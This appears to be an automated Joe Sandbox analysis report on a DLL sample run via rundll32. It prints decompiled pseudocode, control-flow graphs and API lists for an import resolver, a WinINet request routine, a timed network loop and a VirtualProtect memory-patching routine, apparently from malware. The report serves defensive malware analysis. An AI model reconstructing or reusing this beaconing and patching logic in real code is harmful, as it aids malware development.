                          0x04c77c3e
                          0x00000000
                          0x00000000
                          0x00000000
                          0x04c77b95

                          APIs
                          • lstrlen.KERNEL32(?,00000008,761B4D40), ref: 04C77B03
                            • Part of subcall function 04C76D63: RtlAllocateHeap.NTDLL(00000000,00000000,04C75D7B), ref: 04C76D6F
                          • InternetCanonicalizeUrlA.WININET(?,00000000,00000000,00000000), ref: 04C77B26
                          • InternetOpenA.WININET(00000000,00000000,00000000,00000000,10000000), ref: 04C77B4E
                          • InternetSetStatusCallback.WININET(00000000,04C77A86), ref: 04C77B65
                          • ResetEvent.KERNEL32(?), ref: 04C77B77
                          • InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,?), ref: 04C77B8A
                          • GetLastError.KERNEL32 ref: 04C77B97
                          • HttpOpenRequestA.WININET(?,00544547,?,00000000,00000000,00000000,84404000,?), ref: 04C77BDD
                          • InternetQueryOptionA.WININET(00000000,0000001F,00000000,00000000), ref: 04C77BFB
                          • InternetSetOptionA.WININET(?,0000001F,00000100,00000004), ref: 04C77C1C
                          • InternetSetOptionA.WININET(?,00000006,0000EA60,00000004), ref: 04C77C28
                          • InternetSetOptionA.WININET(?,00000005,0000EA60,00000004), ref: 04C77C38
                          • GetLastError.KERNEL32 ref: 04C77C42
                            • Part of subcall function 04C76C2C: RtlFreeHeap.NTDLL(00000000,00000000,04C75E1D,00000000,?,?,00000000), ref: 04C76C38
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: Internet$Option$ErrorHeapLastOpen$AllocateCallbackCanonicalizeConnectEventFreeHttpQueryRequestResetStatuslstrlen
                          • String ID:
                          • API String ID: 2290446683-0
                          • Opcode ID: 15f9b3aa24434eecd78a0c384407ebbb1158468c7351110bef3339b8e1091bb6
                          • Instruction ID: 32664c0eb9ecfaf74a97cb4b3de9c0a839453bec00f1e031de2b8523850b313e
                          • Opcode Fuzzy Hash: 15f9b3aa24434eecd78a0c384407ebbb1158468c7351110bef3339b8e1091bb6
                          • Instruction Fuzzy Hash: 3A418C75600608BFE7319FA5DC49E6F7FBAEB48740F104928F512E2190E735BA54DB20
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C77F35 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209libraryCOMMON
                          Download Yara Rule

                          Control-flow Graph

                          • Executed
                          • Not Executed
                          control_flow_graph 243 4c77f35-4c77f9a 244 4c77f9c-4c77fb6 RaiseException 243->244 245 4c77fbb-4c77fe5 243->245 246 4c7816b-4c7816f 244->246 247 4c77fe7 245->247 248 4c77fea-4c77ff6 245->248 247->248 249 4c78009-4c7800b 248->249 250 4c77ff8-4c78003 248->250 251 4c780b3-4c780bd 249->251 252 4c78011-4c78018 249->252 250->249 258 4c7814e-4c78155 250->258 254 4c780bf-4c780c7 251->254 255 4c780c9-4c780cb 251->255 256 4c7801a-4c78026 252->256 257 4c78028-4c78035 LoadLibraryA 252->257 254->255 259 4c780cd-4c780d0 255->259 260 4c78149-4c7814c 255->260 256->257 262 4c78078-4c78084 InterlockedExchange 256->262 261 4c78037-4c78047 GetLastError 257->261 257->262 268 4c78157-4c78164 258->268 269 4c78169 258->269 271 4c780d2-4c780d5 259->271 272 4c780fe-4c7810c GetProcAddress 259->272 260->258 263 4c78057-4c78073 RaiseException 261->263 264 4c78049-4c78055 261->264 265 4c78086-4c7808a 262->265 266 4c780ac-4c780ad FreeLibrary 262->266 263->246 264->262 264->263 265->251 275 4c7808c-4c78098 LocalAlloc 265->275 266->251 268->269 269->246 271->272 273 4c780d7-4c780e2 271->273 272->260 274 4c7810e-4c7811e GetLastError 272->274 273->272 276 4c780e4-4c780ea 273->276 278 4c78120-4c78128 274->278 279 4c7812a-4c7812c 274->279 275->251 280 4c7809a-4c780aa 275->280 276->272 281 4c780ec-4c780ef 276->281 278->279 279->260 282 4c7812e-4c78146 RaiseException 279->282 280->251 281->272 283 4c780f1-4c780fc 281->283 282->260 283->260 283->272
                          C-Code - Quality: 51%
                          			E04C77F35(long _a4, long _a8) {
				signed int _v8;
				intOrPtr _v16;
				LONG* _v28;
				long _v40;
				long _v44;
				long _v48;
				CHAR* _v52;
				long _v56;
				CHAR* _v60;
				long _v64;
				signed int* _v68;
				char _v72;
				signed int _t76;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t98;
				struct HINSTANCE__* _t99;
				void* _t102;
				intOrPtr* _t104;
				void* _t115;
				long _t116;
				void _t125;
				void* _t131;
				signed short _t133;
				struct HINSTANCE__* _t138;
				signed int* _t139;

				_t139 = _a4;
				_v28 = _t139[2] + 0x4c70000;
				_t115 = _t139[3] + 0x4c70000;
				_t131 = _t139[4] + 0x4c70000;
				_v8 = _t139[7];
				_v60 = _t139[1] + 0x4c70000;
				_v16 = _t139[5] + 0x4c70000;
				_v64 = _a8;
				_v72 = 0x24;
				_v68 = _t139;
				_v56 = 0;
				asm("stosd");
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				if(( *_t139 & 0x00000001) == 0) {
					_a8 =  &_v72;
					RaiseException(0xc06d0057, 0, 1,  &_a8);
					return 0;
				}
				_t138 =  *_v28;
				_t76 = _a8 - _t115 >> 2 << 2;
				_t133 =  *(_t131 + _t76);
				_a4 = _t76;
				_t80 =  !(_t133 >> 0x1f) & 0x00000001;
				_v56 = _t80;
				_t81 = _t133 + 0x4c70002;
				if(_t80 == 0) {
					_t81 = _t133 & 0x0000ffff;
				}
				_v52 = _t81;
				_t82 =  *0x4c7a1c0; // 0x0
				_t116 = 0;
				if(_t82 == 0) {
					L6:
					if(_t138 != 0) {
						L18:
						_t83 =  *0x4c7a1c0; // 0x0
						_v48 = _t138;
						if(_t83 != 0) {
							_t116 =  *_t83(2,  &_v72);
						}
						if(_t116 != 0) {
							L32:
							 *_a8 = _t116;
							L33:
							_t85 =  *0x4c7a1c0; // 0x0
							if(_t85 != 0) {
								_v40 = _v40 & 0x00000000;
								_v48 = _t138;
								_v44 = _t116;
								 *_t85(5,  &_v72);
							}
							return _t116;
						} else {
							if(_t139[5] == _t116 || _t139[7] == _t116) {
								L27:
								_t116 = GetProcAddress(_t138, _v52);
								if(_t116 == 0) {
									_v40 = GetLastError();
									_t90 =  *0x4c7a1bc; // 0x0
									if(_t90 != 0) {
										_t116 =  *_t90(4,  &_v72);
									}
									if(_t116 == 0) {
										_a4 =  &_v72;
										RaiseException(0xc06d007f, _t116, 1,  &_a4);
										_t116 = _v44;
									}
								}
								goto L32;
							} else {
								_t95 =  *((intOrPtr*)(_t138 + 0x3c)) + _t138;
								if( *_t95 == 0x4550 &&  *((intOrPtr*)(_t95 + 8)) == _v8 && _t138 ==  *((intOrPtr*)(_t95 + 0x34))) {
									_t116 =  *(_a4 + _v16);
									if(_t116 != 0) {
										goto L32;
									}
								}
								goto L27;
							}
						}
					}
					_t98 =  *0x4c7a1c0; // 0x0
					if(_t98 == 0) {
						L9:
						_t99 = LoadLibraryA(_v60); // executed
						_t138 = _t99;
						if(_t138 != 0) {
							L13:
							if(InterlockedExchange(_v28, _t138) == _t138) {
								FreeLibrary(_t138);
							} else {
								if(_t139[6] != 0) {
									_t102 = LocalAlloc(0x40, 8);
									if(_t102 != 0) {
										 *(_t102 + 4) = _t139;
										_t125 =  *0x4c7a1b8; // 0x0
										 *_t102 = _t125;
										 *0x4c7a1b8 = _t102;
									}
								}
							}
							goto L18;
						}
						_v40 = GetLastError();
						_t104 =  *0x4c7a1bc; // 0x0
						if(_t104 == 0) {
							L12:
							_a8 =  &_v72;
							RaiseException(0xc06d007e, 0, 1,  &_a8);
							return _v44;
						}
						_t138 =  *_t104(3,  &_v72);
						if(_t138 != 0) {
							goto L13;
						}
						goto L12;
					}
					_t138 =  *_t98(1,  &_v72);
					if(_t138 != 0) {
						goto L13;
					}
					goto L9;
				}
				_t116 =  *_t82(0,  &_v72);
				if(_t116 != 0) {
					goto L33;
				}
				goto L6;
			}


































                          0x04c77f44
                          0x04c77f5a
                          0x04c77f60
                          0x04c77f62
                          0x04c77f67
                          0x04c77f6d
                          0x04c77f72
                          0x04c77f75
                          0x04c77f83
                          0x04c77f8a
                          0x04c77f8d
                          0x04c77f90
                          0x04c77f91
                          0x04c77f94
                          0x04c77f97
                          0x04c77f9a
                          0x04c77f9f
                          0x04c77fae
                          0x00000000
                          0x04c77fb4
                          0x04c77fbe
                          0x04c77fc8
                          0x04c77fcd
                          0x04c77fcf
                          0x04c77fd9
                          0x04c77fdc
                          0x04c77fdf
                          0x04c77fe5
                          0x04c77fe7
                          0x04c77fe7
                          0x04c77fea
                          0x04c77fed
                          0x04c77ff2
                          0x04c77ff6
                          0x04c78009
                          0x04c7800b
                          0x04c780b3
                          0x04c780b3
                          0x04c780ba
                          0x04c780bd
                          0x04c780c7
                          0x04c780c7
                          0x04c780cb
                          0x04c78149
                          0x04c7814c
                          0x04c7814e
                          0x04c7814e
                          0x04c78155
                          0x04c78157
                          0x04c78161
                          0x04c78164
                          0x04c78167
                          0x04c78167
                          0x00000000
                          0x04c780cd
                          0x04c780d0
                          0x04c780fe
                          0x04c78108
                          0x04c7810c
                          0x04c78114
                          0x04c78117
                          0x04c7811e
                          0x04c78128
                          0x04c78128
                          0x04c7812c
                          0x04c78131
                          0x04c78140
                          0x04c78146
                          0x04c78146
                          0x04c7812c
                          0x00000000
                          0x04c780d7
                          0x04c780da
                          0x04c780e2
                          0x04c780f7
                          0x04c780fc
                          0x00000000
                          0x00000000
                          0x04c780fc
                          0x00000000
                          0x04c780e2
                          0x04c780d0
                          0x04c780cb
                          0x04c78011
                          0x04c78018
                          0x04c78028
                          0x04c7802b
                          0x04c78031
                          0x04c78035
                          0x04c78078
                          0x04c78084
                          0x04c780ad
                          0x04c78086
                          0x04c7808a
                          0x04c78090
                          0x04c78098
                          0x04c7809a
                          0x04c7809d
                          0x04c780a3
                          0x04c780a5
                          0x04c780a5
                          0x04c78098
                          0x04c7808a
                          0x00000000
                          0x04c78084
                          0x04c7803d
                          0x04c78040
                          0x04c78047
                          0x04c78057
                          0x04c7805a
                          0x04c7806a
                          0x00000000
                          0x04c78070
                          0x04c78051
                          0x04c78055
                          0x00000000
                          0x00000000
                          0x00000000
                          0x04c78055
                          0x04c78022
                          0x04c78026
                          0x00000000
                          0x00000000
                          0x00000000
                          0x04c78026
                          0x04c77fff
                          0x04c78003
                          0x00000000
                          0x00000000
                          0x00000000

                          APIs
                          • RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 04C77FAE
                          • LoadLibraryA.KERNEL32(?), ref: 04C7802B
                          • GetLastError.KERNEL32 ref: 04C78037
                          • RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 04C7806A
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: ExceptionRaise$ErrorLastLibraryLoad
                          • String ID: $
                          • API String ID: 948315288-3993045852
                          • Opcode ID: fbc1514ce6a24a8ae2fe68b8080946852d47a810d7806b7600c246dc5ef2c98e
                          • Instruction ID: 47e30badc0821d4fb065c9ea1a00deb0344773802ca5ae74e6f80bbe66a7fb87
                          • Opcode Fuzzy Hash: fbc1514ce6a24a8ae2fe68b8080946852d47a810d7806b7600c246dc5ef2c98e
                          • Instruction Fuzzy Hash: 11811D79A00205AFDB10DFA9D984BADB7F6FF48750F148029EA15E7340EB74EA45CB60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C7661D Relevance: 16.7, APIs: 11, Instructions: 151timememoryCOMMON
                          Download Yara Rule

                          Control-flow Graph

                          • Executed
                          • Not Executed
                          control_flow_graph 285 4c7661d-4c7664f memset CreateWaitableTimerA 286 4c76655-4c766ae _allmul SetWaitableTimer WaitForMultipleObjects 285->286 287 4c767d0-4c767d6 GetLastError 285->287 288 4c766b4-4c766b7 286->288 289 4c76738-4c7673e 286->289 290 4c767da-4c767e4 287->290 291 4c766c2 288->291 292 4c766b9 call 4c7216c 288->292 293 4c7673f-4c76743 289->293 297 4c766cc 291->297 298 4c766be-4c766c0 292->298 295 4c76745-4c7674d RtlFreeHeap 293->295 296 4c76753-4c76757 293->296 295->296 296->293 299 4c76759-4c76763 FindCloseChangeNotification 296->299 300 4c766d0-4c766d5 297->300 298->291 298->297 299->290 301 4c766d7-4c766de 300->301 302 4c766e8-4c76715 call 4c743eb 300->302 301->302 303 4c766e0 301->303 306 4c76717-4c76722 302->306 307 4c76765-4c7676a 302->307 303->302 306->300 310 4c76724-4c7672f call 4c770d8 306->310 308 4c7676c-4c76772 307->308 309 4c76789-4c76791 307->309 308->289 311 4c76774-4c76787 call 4c7561e 308->311 312 4c76797-4c767c5 _allmul SetWaitableTimer WaitForMultipleObjects 309->312 314 4c76734 310->314 311->312 312->300 316 4c767cb 312->316 314->289 316->289
                          C-Code - Quality: 83%
                          			E04C7661D(void* __edx, intOrPtr _a4, intOrPtr _a8) {
				void _v48;
				long _v52;
				struct %anon52 _v60;
				char _v72;
				long _v76;
				void* _v80;
				union _LARGE_INTEGER _v84;
				struct %anon52 _v92;
				void* _v96;
				void* _v100;
				union _LARGE_INTEGER _v104;
				long _v108;
				struct %anon52 _v124;
				long _v128;
				struct %anon52 _t46;
				void* _t51;
				long _t53;
				void* _t54;
				struct %anon52 _t61;
				long _t65;
				struct %anon52 _t66;
				intOrPtr _t68;
				void* _t69;
				void* _t73;
				signed int _t74;
				void* _t76;
				void* _t78;
				void** _t82;
				signed int _t86;
				void* _t89;

				_t76 = __edx;
				_v52 = 0;
				memset( &_v48, 0, 0x2c);
				_t89 = (_t86 & 0xfffffff8) - 0x54 + 0xc;
				_t46 = CreateWaitableTimerA(0, 1, 0);
				_v60 = _t46;
				if(_t46 == 0) {
					_v92.HighPart = GetLastError();
				} else {
					_push(0xffffffff);
					_push(0xff676980);
					_push(0);
					_push( *0x4c7a2e0);
					_v76 = 0;
					_v80 = 0;
					L04C7824A();
					_v84.LowPart = _t46;
					_v80 = _t76;
					SetWaitableTimer(_v76,  &_v84, 0, 0, 0, 0);
					_t51 =  *0x4c7a30c; // 0x2c0
					_v76 = _t51;
					_t53 = WaitForMultipleObjects(2,  &_v80, 0, 0xffffffff);
					_v108 = _t53;
					if(_t53 == 0) {
						if(_a8 != 0) {
							L4:
							 *0x4c7a2ec = 5;
						} else {
							_t69 = E04C7216C(_t76); // executed
							if(_t69 != 0) {
								goto L4;
							}
						}
						_v104.LowPart = 0;
						L6:
						L6:
						if(_v104.LowPart == 1 && ( *0x4c7a300 & 0x00000001) == 0) {
							_v104.LowPart = 2;
						}
						_t74 = _v104.LowPart;
						_t58 = _t74 << 4;
						_t78 = _t89 + (_t74 << 4) + 0x38;
						_t75 = _t74 + 1;
						_v92.LowPart = _t74 + 1;
						_t61 = E04C743EB( &_v96, _t75, _t89 + _t58 + 0x38, _t78,  &_v100); // executed
						_v124 = _t61;
						if(_t61 != 0) {
							goto L17;
						}
						_t66 = _v92;
						_v104.LowPart = _t66;
						if(_t66 != 3) {
							goto L6;
						} else {
							_t68 = E04C770D8(_t75,  &_v72, _a4, _a8); // executed
							_v124.HighPart = _t68;
						}
						goto L12;
						L17:
						__eflags = _t61 - 0x10d2;
						if(_t61 != 0x10d2) {
							_push(0xffffffff);
							_push(0xff676980);
							_push(0);
							_push( *0x4c7a2e4);
							goto L21;
						} else {
							__eflags =  *0x4c7a2e8; // 0x0
							if(__eflags == 0) {
								goto L12;
							} else {
								_t61 = E04C7561E();
								_push(0xffffffff);
								_push(0xdc3cba00);
								_push(0);
								_push( *0x4c7a2e8);
								L21:
								L04C7824A();
								_v104.LowPart = _t61;
								_v100 = _t78;
								SetWaitableTimer(_v96,  &_v104, 0, 0, 0, 0); // executed
								_t65 = WaitForMultipleObjects(2,  &_v100, 0, 0xffffffff);
								_v128 = _t65;
								__eflags = _t65;
								if(_t65 == 0) {
									goto L6;
								} else {
									goto L12;
								}
							}
						}
						L25:
					}
					L12:
					_t82 =  &_v72;
					_t73 = 3;
					do {
						_t54 =  *_t82;
						if(_t54 != 0) {
							RtlFreeHeap( *0x4c7a2d8, 0, _t54); // executed
						}
						_t82 =  &(_t82[4]);
						_t73 = _t73 - 1;
					} while (_t73 != 0);
					FindCloseChangeNotification(_v80); // executed
				}
				return _v92.HighPart;
				goto L25;
			}

































                          0x04c7661d
                          0x04c76633
                          0x04c76637
                          0x04c7663c
                          0x04c76643
                          0x04c76649
                          0x04c7664f
                          0x04c767d6
                          0x04c76655
                          0x04c76655
                          0x04c76657
                          0x04c7665c
                          0x04c7665d
                          0x04c76663
                          0x04c76667
                          0x04c7666b
                          0x04c76679
                          0x04c76687
                          0x04c7668b
                          0x04c7668d
                          0x04c7669a
                          0x04c766a6
                          0x04c766a8
                          0x04c766ae
                          0x04c766b7
                          0x04c766c2
                          0x04c766c2
                          0x04c766b9
                          0x04c766b9
                          0x04c766c0
                          0x00000000
                          0x00000000
                          0x04c766c0
                          0x04c766cc
                          0x00000000
                          0x04c766d0
                          0x04c766d5
                          0x04c766e0
                          0x04c766e0
                          0x04c766e8
                          0x04c766ee
                          0x04c766f6
                          0x04c766ff
                          0x04c76706
                          0x04c7670a
                          0x04c7670f
                          0x04c76715
                          0x00000000
                          0x00000000
                          0x04c76717
                          0x04c7671b
                          0x04c76722
                          0x00000000
                          0x04c76724
                          0x04c7672f
                          0x04c76734
                          0x04c76734
                          0x00000000
                          0x04c76765
                          0x04c76765
                          0x04c7676a
                          0x04c76789
                          0x04c7678b
                          0x04c76790
                          0x04c76791
                          0x00000000
                          0x04c7676c
                          0x04c7676c
                          0x04c76772
                          0x00000000
                          0x04c76774
                          0x04c76774
                          0x04c76779
                          0x04c7677b
                          0x04c76780
                          0x04c76781
                          0x04c76797
                          0x04c76797
                          0x04c7679f
                          0x04c767ad
                          0x04c767b1
                          0x04c767bd
                          0x04c767bf
                          0x04c767c3
                          0x04c767c5
                          0x00000000
                          0x04c767cb
                          0x00000000
                          0x04c767cb
                          0x04c767c5
                          0x04c76772
                          0x00000000
                          0x04c7676a
                          0x04c76738
                          0x04c7673a
                          0x04c7673e
                          0x04c7673f
                          0x04c7673f
                          0x04c76743
                          0x04c7674d
                          0x04c7674d
                          0x04c76753
                          0x04c76756
                          0x04c76756
                          0x04c7675d
                          0x04c7675d
                          0x04c767e4
                          0x00000000

                          APIs
                          • memset.NTDLL ref: 04C76637
                          • CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 04C76643
                          • _allmul.NTDLL(00000000,FF676980,000000FF), ref: 04C7666B
                          • SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000), ref: 04C7668B
                          • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF,?,?,?,?,?,?,?,?,?,?,04C73EE8,?), ref: 04C766A6
                          • RtlFreeHeap.NTDLL(00000000,00000000,?,?,?,?,?,?,?,?,?,?,04C73EE8,?,00000000), ref: 04C7674D
                          • FindCloseChangeNotification.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,04C73EE8,?,00000000,?,?), ref: 04C7675D
                          • _allmul.NTDLL(00000000,FF676980,000000FF,00000002), ref: 04C76797
                          • SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF,00000002,?,?,?), ref: 04C767B1
                          • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 04C767BD
                            • Part of subcall function 04C7216C: StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,05249400,00000000,?,7620F710,00000000,7620F730), ref: 04C721BB
                            • Part of subcall function 04C7216C: HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,05249438,?,00000000,30314549,00000014,004F0053,052493F4), ref: 04C72258
                            • Part of subcall function 04C7216C: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,04C766BE), ref: 04C7226A
                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,04C73EE8,?,00000000,?,?), ref: 04C767D0
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: FreeHeapTimerWaitable$MultipleObjectsWait_allmul$ChangeCloseCreateErrorFindLastNotificationmemset
                          • String ID:
                          • API String ID: 1236040543-0
                          • Opcode ID: 4e15855c5d8e422dcbb7d6d121ec9d5e8bd955be37cdd6c6448fceb566702779
                          • Instruction ID: 0597fe8510eeb75a56237647cfd565a4651afede84cd71922a628fb0ef2d838a
                          • Opcode Fuzzy Hash: 4e15855c5d8e422dcbb7d6d121ec9d5e8bd955be37cdd6c6448fceb566702779
                          • Instruction Fuzzy Hash: 34519EB4109320AFD710AF16CC84E6FBBEDEB88364F404A1EF59882150D735EA44CFA2
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB1A0A Relevance: 15.1, APIs: 10, Instructions: 117memorystringCOMMON
                          Download Yara Rule

                          Control-flow Graph

                          • Executed
                          • Not Executed
                          control_flow_graph 318 4cb1a0a-4cb1a2b call 4cd3d64 321 4cb1b0d 318->321 322 4cb1a31-4cb1a32 318->322 323 4cb1b13-4cb1b22 VirtualProtect 321->323 324 4cb1a98-4cb1a9f 322->324 325 4cb1a34-4cb1a37 322->325 326 4cb1b3f-4cb1b45 GetLastError 323->326 327 4cb1b24-4cb1b3a VirtualProtect 323->327 330 4cb1aa1-4cb1aa8 324->330 331 4cb1ae0-4cb1af5 VirtualProtect 324->331 328 4cb1a3d 325->328 329 4cb1b64-4cb1b70 call 4cd3d9f 325->329 326->329 332 4cb1a43-4cb1a4a 327->332 328->332 330->331 334 4cb1aaa-4cb1ab6 330->334 331->323 335 4cb1af7-4cb1b0b 331->335 336 4cb1a8c-4cb1a93 332->336 337 4cb1a4c-4cb1a50 332->337 334->323 339 4cb1ab8-4cb1ac5 VirtualProtect 334->339 340 4cb1adc-4cb1ade VirtualProtect 335->340 336->329 337->336 341 4cb1a52-4cb1a6e lstrlen VirtualProtect 337->341 339->323 342 4cb1ac7-4cb1adb 339->342 340->323 341->336 343 4cb1a70-4cb1a8a lstrcpy VirtualProtect 341->343 342->340 343->336
                          APIs
                          • lstrlen.KERNEL32(?,?,00000000,?,04CD19C5,04CD94D8,?,?,00000004,00000000,?,00000000,04CD0977,04CC893A,?,?), ref: 04CB1A58
                          • VirtualProtect.KERNEL32(00000000,00000000,00000040,-0000001C,?,00000000,?,04CD19C5,04CD94D8,?,?,00000004,00000000,?,00000000,04CD0977), ref: 04CB1A6A
                          • lstrcpy.KERNEL32(00000000,?), ref: 04CB1A79
                          • VirtualProtect.KERNEL32(00000000,00000000,?,-0000001C,?,00000000,?,04CD19C5,04CD94D8,?,?,00000004,00000000,?,00000000,04CD0977), ref: 04CB1A8A
                          • VirtualProtect.KERNEL32(00000001,00000005,00000040,-0000001C,04CD6040,00000018,04CB34DB,?,00000000,?,04CD19C5,04CD94D8,?,?,00000004,00000000), ref: 04CB1AC1
                          • VirtualProtect.KERNEL32(?,00000004,?,-0000001C,?,00000000,?,04CD19C5,04CD94D8,?,?,00000004,00000000,?,00000000,04CD0977), ref: 04CB1ADC
                          • VirtualProtect.KERNEL32(?,00000004,00000040,-0000001C,04CD6040,00000018,04CB34DB,?,00000000,?,04CD19C5,04CD94D8,?,?,00000004,00000000), ref: 04CB1AF1
                          • VirtualProtect.KERNEL32(?,00000004,00000040,-0000001C,04CD6040,00000018,04CB34DB,?,00000000,?,04CD19C5,04CD94D8,?,?,00000004,00000000), ref: 04CB1B1E
                          • VirtualProtect.KERNEL32(?,00000004,?,-0000001C,?,00000000,?,04CD19C5,04CD94D8,?,?,00000004,00000000,?,00000000,04CD0977), ref: 04CB1B38
                          • GetLastError.KERNEL32(?,00000000,?,04CD19C5,04CD94D8,?,?,00000004,00000000,?,00000000,04CD0977,04CC893A,?,?), ref: 04CB1B3F
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: ProtectVirtual$ErrorLastlstrcpylstrlen
                          • String ID:
                          • API String ID: 3676034644-0
                          • Opcode ID: dc0c8c27dac8cb1595716a7cf1ab3daa9a305c8acc8036374f34f626a10f2b59
                          • Instruction ID: c860fb91bbe876d6adc515c036e9fe0682ad7365fdcc0d2484d95a26a891ec5c
                          • Opcode Fuzzy Hash: dc0c8c27dac8cb1595716a7cf1ab3daa9a305c8acc8036374f34f626a10f2b59
                          • Instruction Fuzzy Hash: 9E4132B5600709AFDB219F65CC44FAAB7B5FB08350F088625E692A61A0EB34F905DF54
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C74274 Relevance: 12.1, APIs: 8, Instructions: 75networkCOMMON
                          Download Yara Rule

                          Control-flow Graph

                          C-Code - Quality: 93%
                          			E04C74274(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi) {
				void* _t17;
				void* _t18;
				void* _t19;
				void* _t20;
				void* _t21;
				intOrPtr _t24;
				void* _t37;
				void* _t41;
				intOrPtr* _t45;

				_t41 = __edi;
				_t37 = __ebx;
				_t45 = __eax;
				_t16 =  *((intOrPtr*)(__eax + 0x20));
				if( *((intOrPtr*)(__eax + 0x20)) != 0) {
					E04C76E40(_t16, __ecx, 0xea60);
				}
				_t17 =  *(_t45 + 0x18);
				_push(_t37);
				_push(_t41);
				if(_t17 != 0) {
					InternetSetStatusCallback(_t17, 0);
					InternetCloseHandle( *(_t45 + 0x18)); // executed
				}
				_t18 =  *(_t45 + 0x14);
				if(_t18 != 0) {
					InternetSetStatusCallback(_t18, 0);
					InternetCloseHandle( *(_t45 + 0x14));
				}
				_t19 =  *(_t45 + 0x10);
				if(_t19 != 0) {
					InternetSetStatusCallback(_t19, 0);
					InternetCloseHandle( *(_t45 + 0x10));
				}
				_t20 =  *(_t45 + 0x1c);
				if(_t20 != 0) {
					FindCloseChangeNotification(_t20); // executed
				}
				_t21 =  *(_t45 + 0x20);
				if(_t21 != 0) {
					CloseHandle(_t21);
				}
				_t22 =  *((intOrPtr*)(_t45 + 8));
				if( *((intOrPtr*)(_t45 + 8)) != 0) {
					E04C76C2C(_t22);
					 *((intOrPtr*)(_t45 + 8)) = 0;
					 *((intOrPtr*)(_t45 + 0x30)) = 0;
				}
				_t23 =  *((intOrPtr*)(_t45 + 0xc));
				if( *((intOrPtr*)(_t45 + 0xc)) != 0) {
					E04C76C2C(_t23);
				}
				_t24 =  *_t45;
				if(_t24 != 0) {
					_t24 = E04C76C2C(_t24);
				}
				_t46 =  *((intOrPtr*)(_t45 + 4));
				if( *((intOrPtr*)(_t45 + 4)) != 0) {
					return E04C76C2C(_t46);
				}
				return _t24;
			}












                          0x04c74274
                          0x04c74274
                          0x04c74276
                          0x04c74278
                          0x04c7427f
                          0x04c74286
                          0x04c74286
                          0x04c7428b
                          0x04c7428e
                          0x04c74295
                          0x04c7429e
                          0x04c742a2
                          0x04c742a7
                          0x04c742a7
                          0x04c742a9
                          0x04c742ae
                          0x04c742b2
                          0x04c742b7
                          0x04c742b7
                          0x04c742b9
                          0x04c742be
                          0x04c742c2
                          0x04c742c7
                          0x04c742c7
                          0x04c742c9
                          0x04c742d4
                          0x04c742d7
                          0x04c742d7
                          0x04c742d9
                          0x04c742de
                          0x04c742e1
                          0x04c742e1
                          0x04c742e3
                          0x04c742ea
                          0x04c742ed
                          0x04c742f2
                          0x04c742f5
                          0x04c742f5
                          0x04c742f8
                          0x04c742fd
                          0x04c74300
                          0x04c74300
                          0x04c74305
                          0x04c74309
                          0x04c7430c
                          0x04c7430c
                          0x04c74311
                          0x04c74316
                          0x00000000
                          0x04c74319
                          0x04c74320

                          APIs
